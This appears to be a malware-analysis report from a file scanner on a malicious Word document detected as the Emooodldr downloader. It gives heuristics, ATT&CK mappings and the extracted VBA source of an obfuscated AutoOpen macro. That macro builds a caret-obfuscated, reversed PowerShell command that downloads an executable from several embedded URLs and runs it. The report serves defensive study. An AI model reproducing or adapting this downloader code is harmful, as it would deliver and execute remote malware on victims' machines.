MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. This macro is designed to execute automatically when the document is opened. The script attempts to construct and execute a command using `Shell` and string concatenation, likely to download and run a secondary payload. The ClamAV detection 'Doc.Downloader.Emooodldr-6689561-0' strongly suggests the Emooodldr family and its downloader capabilities.
Heuristics 5
-
ClamAV: Doc.Downloader.Emooodldr-6689561-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emooodldr-6689561-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5008 bytes |
SHA-256: fe6f912eefbce8c2d58bae7232528475ca23bcd815e5d7f7569ed3423b504704 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "hmPtPanBTZfrmR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ZjhBKswR = 0
Dim nqOcr(2)
nqOcr(0) = Right(dUjik, 26)
nqOcr(1) = Right(dUjik, 26)
Dim kkckw(2)
kkckw(0) = Mid(EoHVMPTz, 59, 162)
kkckw(1) = MidB(tBwPwolk, 253, 419)
Dim rJRMq(4)
rJRMq(0) = Mid(EoHVMPTz, 59, 162)
rJRMq(1) = Right(dUjik, 26)
rJRMq(2) = Mid(EoHVMPTz, 59, 162)
rJRMq(3) = Left(dKSGhS, 295)
Dim wlltF(2)
wlltF(0) = Mid(EoHVMPTz, 59, 162)
wlltF(1) = Left(dKSGhS, 295)
Dim skNkY(3)
skNkY(0) = Mid(EoHVMPTz, 59, 162)
skNkY(1) = Mid(EoHVMPTz, 59, 162)
skNkY(2) = Mid(EoHVMPTz, 59, 162)
Dim vSJlC(4)
vSJlC(0) = MidB(tBwPwolk, 253, 419)
vSJlC(1) = Left(dKSGhS, 295)
vSJlC(2) = Left(dKSGhS, 295)
vSJlC(3) = Right(dUjik, 26)
Shell@ AJUrmoziYN + vDjSWowabs + rrXLjBmNzDEq, CInt(ZjhBKswR)
Dim WoJDGA(3)
WoJDGA(0) = MidB(tBwPwolk, 253, 419)
WoJDGA(1) = Mid(EoHVMPTz, 59, 162)
WoJDGA(2) = Left(dKSGhS, 295)
Dim tcrwP(4)
tcrwP(0) = MidB(tBwPwolk, 253, 419)
tcrwP(1) = Right(dUjik, 26)
tcrwP(2) = Mid(EoHVMPTz, 59, 162)
tcrwP(3) = MidB(tBwPwolk, 253, 419)
End Sub
Attribute VB_Name = "shsnphEOZJDktX"
Function AJUrmoziYN()
Dim rfjGW(4)
rfjGW(0) = Mid(EoHVMPTz, 59, 162)
rfjGW(1) = Right(dUjik, 26)
rfjGW(2) = Mid(EoHVMPTz, 59, 162)
rfjGW(3) = Right(dUjik, 26)
Dim vdnof(2)
vdnof(0) = Mid(EoHVMPTz, 59, 162)
vdnof(1) = Mid(EoHVMPTz, 59, 162)
Dim QFJfGd(2)
QFJfGd(0) = MidB(tBwPwolk, 253, 419)
QFJfGd(1) = MidB(tBwPwolk, 253, 419)
dNzWM = Format(Chr(10 + 12 + 18 + 0 + 59)) + "md /V^:O/" + Format(Chr(6 + 8 + 12 + 0 + 41)) + Format(Chr(3 + 3 + 5 + 0 + 23)) + "^se^t ^w^u^" + "y= ^ ^ ^ ^" + " ^ ^ ^ " + "^ ^}}^{^h" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^t^a" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^};kaer^b^;iF^j" + "$ m^etI-^ekovn^I;)" + "i^F^j^$ ^,^B^p" + "^i^$(e^l^iFd^a^o^" + "ln^w^o^D.^q^AV^" + "${yr^t^{)^k^lv^$^ " + "ni^ ^Bp^i^$(^h" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "a^erof;^" + "'e^xe.'+^jiE^$+'^\'" + "^+" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "i^lbu^p:vn"
Dim ZzGoG(3)
ZzGoG(0) = Mid(EoHVMPTz, 59, 162)
ZzGoG(1) = Left(dKSGhS, 295)
ZzGoG(2) = Right(dUjik, 26)
Dim RAnLM(4)
RAnLM(0) = Left(dKSGhS, 295)
RAnLM(1) = Right(dUjik, 26)
RAnLM(2) = MidB(tBwPwolk, 253, 419)
RAnLM(3) = Mid(EoHVMPTz, 59, 162)
Dim TIUAZz(4)
TIUAZz(0) = Right(dUjik, 26)
TIUAZz(1) = Right(dUjik, 26)
TIUAZz(2) = Mid(EoHVMPTz, 59, 162)
TIUAZz(3) = Mid(EoHVMPTz, 59, 162)
BEFbdP = "e$=^i^Fj$;^'8" + "5^6'^ ^= ^jiE^$;)'^@^'(^ti^" + "lp^S^.'vu^Y/^ur.oto" + "^hp^-avo^sare^k//^:^pt^t" + "^h@^T^Wo/^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.etybel" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^i//" + "^:^ptt^h@^J^h^S^y^O" + "b^un/^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.nodn^o^l^" + "e^g^dir^dl^e//^:^p^" + "tt^h@^H^0^7^" + "Q^5apZ/g^s.^mo" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^.sy^seripm^e//"
Dim HozpjW(5)
HozpjW(0) = Left(dKSGhS, 295)
HozpjW(1) = Right(dUjik, 26)
HozpjW(2) = Left(dKSGhS, 295)
HozpjW(3) = MidB(tBwPwolk, 253, 419)
HozpjW(4) = Right(dUjik, 26)
Dim kLaKPO(5)
kLaKPO(0) = Left(dKSGhS, 295)
kLaKPO(1) = Left(dKSGhS, 295)
kLaKPO(2) = Left(dKSGhS, 295)
kLaKPO(3) = MidB(tBwPwolk, 253, 419)
kLaKPO(4) = Right(dUjik, 26)
Dim dGVosO(5)
dGVosO(0) = MidB(tBwPwolk, 253, 419)
dGVosO(1) = Right(dUjik, 26)
dGVosO(2) = Mid(EoHVMPTz, 59, 162)
dGVosO(3) = Mid(EoHVMPTz, 59, 162)
dGVosO(4) = Right(dUjik, 26)
dqzqTJkbK = "^:^p^t^t^h@^p^tP" + Format(Chr(10 + 12 + 18 + 0 + 59)) + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^K/" + "^m^o" + Format(Chr(10 + 12 + 18 + 0 + 59)) + ".^dyarf//:pt^th^'^=^k^lv^" + "$;^tneil" + Format(Chr(6 + 8 + 12 + 0 + 41)) + "b" + "eW^.^teN^ t" + Format(Chr(10 + 12 + 18 + 0 + 59)) + "^e^jb" + "o-^w^en^=q^A" + "V$^ ^ll^ehsr^e" + "w^op&&^f^or /^L %n ^in (3^" + "5^4^,-^1^,^0)^d^o ^s^et ^IN^y" + "=!^IN^y!!^w^u^y"
Dim qWmdn(5)
qWmd
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.